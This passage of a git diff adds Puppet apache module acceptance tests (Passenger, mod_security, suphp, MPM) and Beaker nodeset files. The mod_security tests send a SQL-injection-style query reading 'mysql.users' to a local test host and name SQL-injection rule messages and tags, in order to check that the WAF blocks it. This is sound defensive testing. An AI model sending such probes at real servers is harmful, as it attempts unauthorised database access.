+ when 'jessie' + it { is_expected.to contain "PassengerDefaultRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerRuby/" } + else + # This may or may not work on Debian releases other than the above + it { is_expected.to contain "PassengerRuby \"#{passenger_ruby}\"" } + it { is_expected.not_to contain "/PassengerDefaultRuby/" } + end + end + end + + describe file(load_file) do + it { is_expected.to contain "LoadModule passenger_module #{passenger_module_path}" } + end + + it 'should output status via passenger-memory-stats' do + shell("PATH=/usr/bin:$PATH /usr/sbin/passenger-memory-stats") do |r| + expect(r.stdout).to match(/Apache processes/) + expect(r.stdout).to match(/Nginx processes/) + expect(r.stdout).to match(/Passenger processes/) + + # passenger-memory-stats output on newer Debian/Ubuntu verions do not contain + # these two lines + unless ((fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemrelease') == '14.04') or + (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemrelease') == '16.04') or + (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8')) + expect(r.stdout).to match(/### Processes: [0-9]+/) + expect(r.stdout).to match(/### Total private dirty RSS: [0-9\.]+ MB/) + end + + expect(r.exit_code).to eq(0) + end + end + + # passenger-status fails under stock ubuntu-server-12042-x64 + mod_passenger, + # even when the passenger process is successfully installed and running + unless fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemrelease') == '12.04' + it 'should output status via passenger-status' do + # xml output not available on ubunutu <= 10.04, so sticking with default pool output + shell("PATH=/usr/bin:$PATH /usr/sbin/passenger-status") do |r| + # spacing may vary + expect(r.stdout).to match(/[\-]+ General information [\-]+/) + if fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemrelease') == '14.04' or + (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemrelease') == '16.04') or + fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8' + expect(r.stdout).to match(/Max pool size[ ]+: [0-9]+/) + expect(r.stdout).to match(/Processes[ ]+: [0-9]+/) + expect(r.stdout).to match(/Requests in top-level queue[ ]+: [0-9]+/) + else + expect(r.stdout).to match(/max[ ]+= [0-9]+/) + expect(r.stdout).to match(/count[ ]+= [0-9]+/) + expect(r.stdout).to match(/active[ ]+= [0-9]+/) + expect(r.stdout).to match(/inactive[ ]+= [0-9]+/) + expect(r.stdout).to match(/Waiting on global queue: [0-9]+/) + end + + expect(r.exit_code).to eq(0) + end + end + end + + it 'should answer to passenger.example.com' do + shell("/usr/bin/curl passenger.example.com:80") do |r| + expect(r.stdout).to match(/^hello world<\/b>$/) + expect(r.exit_code).to eq(0) + end + end + + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_php_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_php_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_php_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_proxy_html_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_proxy_html_spec.rb new file mode 100644 index 000000000..ce8aad6f3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_proxy_html_spec.rb @@ -0,0 +1,36 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +# Don't run proxy_html tests on RHEL7 because the yum repos are missing packages required by it. +describe 'apache::mod::proxy_html class', :unless => (fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') == '7') do + context "default proxy_html config" do + if fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') =~ /(5|6)/ + it 'adds epel' do + pp = "class { 'epel': }" + apply_manifest(pp, :catch_failures => true) + end + end + + it 'succeeds in puppeting proxy_html' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::proxy': } + class { 'apache::mod::proxy_http': } + # mod_proxy_html doesn't exist in RHEL5 + if $::osfamily == 'RedHat' and $::operatingsystemmajrelease != '5' { + class { 'apache::mod::proxy_html': } + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_security_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_security_spec.rb new file mode 100644 index 000000000..095cce9da --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_security_spec.rb @@ -0,0 +1,386 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::mod::security class', :unless => (fact('osfamily') == 'Debian' and (fact('lsbdistcodename') == 'squeeze' or fact('lsbdistcodename') == 'lucid' or fact('lsbdistcodename') == 'precise' or fact('lsbdistcodename') == 'wheezy')) || (fact('operatingsystem') == 'SLES' and fact('operatingsystemrelease') < '11') do + context "default mod_security config" do + if fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') =~ /(5|6)/ + it 'adds epel' do + pp = "class { 'epel': }" + apply_manifest(pp, :catch_failures => true) + end + elsif fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') == '7' + it 'changes obsoletes, per PUP-4497' do + pp = <<-EOS + ini_setting { 'obsoletes': + path => '/etc/yum.conf', + section => 'main', + setting => 'obsoletes', + value => '0', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + EOS + apply_manifest(pp, :catch_failures => true) + + #Need to add a short sleep here because on RHEL6 the service takes a bit longer to init + if fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') =~ /(5|6)/ + sleep 5 + end + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe package($package_name) do + it { is_expected.to be_installed } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + describe 'should be listening on port 80' do + it 'should return index page' do + shell('/usr/bin/curl -A beaker modsec.example.com:80') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + end + + end #default mod_security config + + context "mod_security should allow disabling by vhost" do + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + + it 'should disable mod_security per vhost' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + modsec_disable_vhost => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + it 'should return index page' do + shell('/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + end #mod_security should allow disabling by vhost + + context "mod_security should allow disabling by ip" do + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + + it 'should disable mod_security per vhost' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + modsec_disable_ips => [ '127.0.0.1' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + it 'should return index page' do + shell('/usr/bin/curl -A beaker modsec.example.com:80') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + end #mod_security should allow disabling by ip + + context "mod_security should allow disabling by id" do + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + file { '#{$doc_root}/html/index2.html': + ensure => file, + content => 'Page 2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + + it 'should disable mod_security per vhost' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + modsec_disable_ids => [ '950007' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + it 'should return index page' do + shell('/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + + end #mod_security should allow disabling by id + + context "mod_security should allow disabling by msg" do + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + file { '#{$doc_root}/html/index2.html': + ensure => file, + content => 'Page 2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + + it 'should disable mod_security per vhost' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + modsec_disable_msgs => [ 'Blind SQL Injection Attack' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + it 'should return index page' do + shell('/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + + end #mod_security should allow disabling by msg + + context "mod_security should allow disabling by tag" do + it 'succeeds in puppeting mod_security' do + pp= <<-EOS + host { 'modsec.example.com': ip => '127.0.0.1', } + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + } + file { '#{$doc_root}/html/index.html': + ensure => file, + content => 'Index page', + } + file { '#{$doc_root}/html/index2.html': + ensure => file, + content => 'Page 2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/security.conf") do + it { is_expected.to contain "mod_security2.c" } + end + + unless fact('operatingsystem') == 'SLES' + it 'should block query with SQL' do + shell '/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users', :acceptable_exit_codes => [22] + end + end + + it 'should disable mod_security per vhost' do + pp= <<-EOS + class { 'apache': } + class { 'apache::mod::security': } + apache::vhost { 'modsec.example.com': + port => '80', + docroot => '#{$doc_root}/html', + modsec_disable_tags => [ 'WEB_ATTACK/SQL_INJECTION' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + it 'should return index page' do + shell('/usr/bin/curl -A beaker -f modsec.example.com:80?SELECT%20*FROM%20mysql.users') do |r| + expect(r.stdout).to match(/Index page/) + expect(r.exit_code).to eq(0) + end + end + + end #mod_security should allow disabling by tag + +end #apache::mod::security class diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_suphp_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_suphp_spec.rb new file mode 100644 index 000000000..07486677f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/mod_suphp_spec.rb @@ -0,0 +1,57 @@ +require 'spec_helper_acceptance' + +describe 'apache::mod::suphp class', :if => (fact('operatingsystem') == 'Ubuntu' and fact('operatingsystemmajrelease') != '16.04') do + context "default suphp config" do + it 'succeeds in puppeting suphp' do + pp = <<-EOS +class { 'apache': + mpm_module => 'prefork', +} +host { 'suphp.example.com': ip => '127.0.0.1', } +apache::vhost { 'suphp.example.com': + port => '80', + docroot => '/var/www/suphp', +} +file { '/var/www/suphp/index.php': + ensure => file, + owner => 'daemon', + group => 'daemon', + content => "\\n", + require => File['/var/www/suphp'], + before => Class['apache::mod::php'], +} +class { 'apache::mod::php': } +class { 'apache::mod::suphp': } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service('apache2') do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to suphp.example.com' do + timeout = 0 + loop do + r = shell('curl suphp.example.com:80') + timeout += 1 + break if r.stdout =~ /^daemon$/ + if timeout > 40 + expect(timeout < 40).to be true + break + end + sleep(1) + end + shell("/usr/bin/curl suphp.example.com:80") do |r| + expect(r.stdout).to match(/^daemon$/) + expect(r.exit_code).to eq(0) + end + end + + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/centos-7-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/centos-7-x64.yml new file mode 100644 index 000000000..5eebdefbf --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/centos-7-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + centos-7-x64: + roles: + - agent + - default + platform: el-7-x86_64 + hypervisor: vagrant + box: puppetlabs/centos-7.2-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/centos-70-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/centos-70-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/centos-70-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-607-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-607-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-607-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-70rc1-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-73-i386.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-i386.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-73-i386.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-73-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-73-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-73-x64.yml diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-8-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-8-x64.yml new file mode 100644 index 000000000..fef6e63ca --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-8-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + debian-8-x64: + roles: + - agent + - default + platform: debian-8-amd64 + hypervisor: vagrant + box: puppetlabs/debian-8.2-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-82-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-82-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/debian-82-x64.yml diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/default.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/default.yml new file mode 100644 index 000000000..dba339c46 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/default.yml @@ -0,0 +1,10 @@ +HOSTS: + ubuntu-1404-x64: + roles: + - agent + - default + platform: ubuntu-14.04-amd64 + hypervisor: vagrant + box: puppetlabs/ubuntu-14.04-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/centos-7.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/centos-7.yml new file mode 100644 index 000000000..a3333aac5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/centos-7.yml @@ -0,0 +1,12 @@ +HOSTS: + centos-7-x64: + platform: el-7-x86_64 + hypervisor: docker + image: centos:7 + docker_preserve_image: true + docker_cmd: '["/usr/sbin/init"]' + # install various tools required to get the image up to usable levels + docker_image_commands: + - 'yum install -y crontabs tar wget openssl sysvinit-tools iproute which initscripts' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/debian-8.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/debian-8.yml new file mode 100644 index 000000000..df5c31944 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/debian-8.yml @@ -0,0 +1,11 @@ +HOSTS: + debian-8-x64: + platform: debian-8-amd64 + hypervisor: docker + image: debian:8 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y net-tools wget locales strace lsof && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml new file mode 100644 index 000000000..b1efa5839 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml @@ -0,0 +1,12 @@ +HOSTS: + ubuntu-1404-x64: + platform: ubuntu-14.04-amd64 + hypervisor: docker + image: ubuntu:14.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + # ensure that upstart is booting correctly in the container + - 'rm /usr/sbin/policy-rc.d && rm /sbin/initctl && dpkg-divert --rename --remove /sbin/initctl && apt-get update && apt-get install -y net-tools wget && locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/fedora-18-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/fedora-18-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/fedora-18-x64.yml diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/suse.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/suse.yml new file mode 100644 index 000000000..ac0492699 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/suse.yml @@ -0,0 +1,25 @@ +--- +HOSTS: + sles-11-x86_64-agent: + roles: + - agent + - default + platform: sles-11-x86_64 + template: sles-11-x86_64 + hypervisor: virtualbox + redhat-7-x86_64-master: + roles: + - master + - dashboard + - database + - agent + platform: el-7-x86_64 + template: redhat-7-x86_64 + hypervisor: virtualbox +CONFIG: + nfs_server: none + consoleport: 443 + datastore: instance0 + folder: Delivery/Quality Assurance/Enterprise/Dynamic + resourcepool: delivery/Quality Assurance/Enterprise/Dynamic + pooling_api: http://vcloud.delivery.puppetlabs.net/ diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-1310-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/nodesets/ubuntu-server-1404-x64.yml diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/prefork_worker_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/prefork_worker_spec.rb new file mode 100644 index 000000000..668716144 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/prefork_worker_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +case fact('osfamily') +when 'FreeBSD' + describe 'apache::mod::event class' do + describe 'running puppet code' do + # Using puppet_apply as a helper + it 'should work with no errors' do + pp = <<-EOS + class { 'apache': + mpm_module => 'event', + } + EOS + + # Run it twice and test for idempotency + apply_manifest(pp, :catch_failures => true) + expect(apply_manifest(pp, :catch_failures => true).exit_code).to be_zero + end + end + + describe service($service_name) do + it { is_expected.to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + end + end +end + +describe 'apache::mod::worker class' do + describe 'running puppet code' do + # Using puppet_apply as a helper + let(:pp) do + <<-EOS + class { 'apache': + mpm_module => 'worker', + } + EOS + end + + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + end + + describe service($service_name) do + it { is_expected.to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + end +end + +describe 'apache::mod::prefork class' do + describe 'running puppet code' do + # Using puppet_apply as a helper + let(:pp) do + <<-EOS + class { 'apache': + mpm_module => 'prefork', + } + EOS + end + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + end + + describe service($service_name) do + it { is_expected.to be_running } + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/service_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/service_spec.rb new file mode 100644 index 000000000..c62a34973 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/service_spec.rb @@ -0,0 +1,18 @@ +require 'spec_helper_acceptance' + +describe 'apache::service class' do + describe 'adding dependencies in between the base class and service class' do + let(:pp) do + <<-EOS + class { 'apache': } + file { '/tmp/test': + require => Class['apache'], + notify => Class['apache::service'], + } + EOS + end + + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/version.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/version.rb new file mode 100644 index 000000000..fac4071e6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/acceptance/version.rb @@ -0,0 +1,96 @@ +_osfamily = fact('osfamily') +_operatingsystem = fact('operatingsystem') +_operatingsystemrelease = fact('operatingsystemrelease').to_f + +case _osfamily +when 'RedHat' + $confd_dir = '/etc/httpd/conf.d' + $conf_file = '/etc/httpd/conf/httpd.conf' + $ports_file = '/etc/httpd/conf/ports.conf' + $vhost_dir = '/etc/httpd/conf.d' + $vhost = '/etc/httpd/conf.d/15-default.conf' + $run_dir = '/var/run/httpd' + $doc_root = '/var/www' + $service_name = 'httpd' + $package_name = 'httpd' + $error_log = 'error_log' + $suphp_handler = 'php5-script' + $suphp_configpath = 'undef' + + if (_operatingsystem == 'Fedora' and _operatingsystemrelease >= 18) or (_operatingsystem != 'Fedora' and _operatingsystemrelease >= 7) + $apache_version = '2.4' + $mod_dir = '/etc/httpd/conf.modules.d' + else + $apache_version = '2.2' + $mod_dir = '/etc/httpd/conf.d' + end +when 'Debian' + $confd_dir = '/etc/apache2/conf.d' + $mod_dir = '/etc/apache2/mods-available' + $conf_file = '/etc/apache2/apache2.conf' + $ports_file = '/etc/apache2/ports.conf' + $vhost = '/etc/apache2/sites-available/15-default.conf' + $vhost_dir = '/etc/apache2/sites-enabled' + $run_dir = '/var/run/apache2' + $doc_root = '/var/www' + $service_name = 'apache2' + $package_name = 'apache2' + $error_log = 'error.log' + $suphp_handler = 'x-httpd-php' + $suphp_configpath = '/etc/php5/apache2' + + if _operatingsystem == 'Ubuntu' and _operatingsystemrelease >= 13.10 + $apache_version = '2.4' + elsif _operatingsystem == 'Debian' and _operatingsystemrelease >= 8.0 + $apache_version = '2.4' + else + $apache_version = '2.2' + end +when 'FreeBSD' + $confd_dir = '/usr/local/etc/apache24/Includes' + $mod_dir = 